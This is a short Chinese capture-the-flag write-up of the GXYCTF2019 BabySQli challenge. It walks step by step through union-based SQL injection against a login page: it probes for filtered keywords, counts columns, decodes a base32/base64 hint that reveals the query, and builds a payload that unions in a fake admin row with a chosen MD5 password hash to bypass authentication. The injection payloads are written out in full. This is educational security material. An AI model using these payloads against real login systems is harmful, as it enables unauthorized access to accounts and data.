[GXYCTF2019]BabySQli sql注入
1、输入单引号’
2、猜有多少字段
1’ order by 3#看来又过滤,那就用bp抓包fuzz
导入字典
3、经测试过滤了or order =等字符,但是没有过滤union select,可以通过select猜有多少字段
1’ union select 1,2,3,4#
1’ union select 1,2,3# ,返回wrong user,说明有三个字段
但是在源代码中有一串数字
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
通过base32解码为
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
再通过base64解码
select * from user where username = ‘$name’
因为这里是错误回显,不能直接查数据库
再输入用户名admin 密码随便填,回显的是wrong pass!,说明admin是存在的,
输入1’ union select 1,‘admin’,3#
回显的是wrong pass!可以判断账户名再第二个字段
这里有个知识点在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
密码:1234
MD5:81dc9bdb52d04dc20036dbd8313ed055
构造playload:
账号:1’ union select 1,‘admin’,‘81dc9bdb52d04dc20036dbd8313ed055’#
密码:1234
参考:https://blog.csdn.net/SopRomeo/article/details/104682814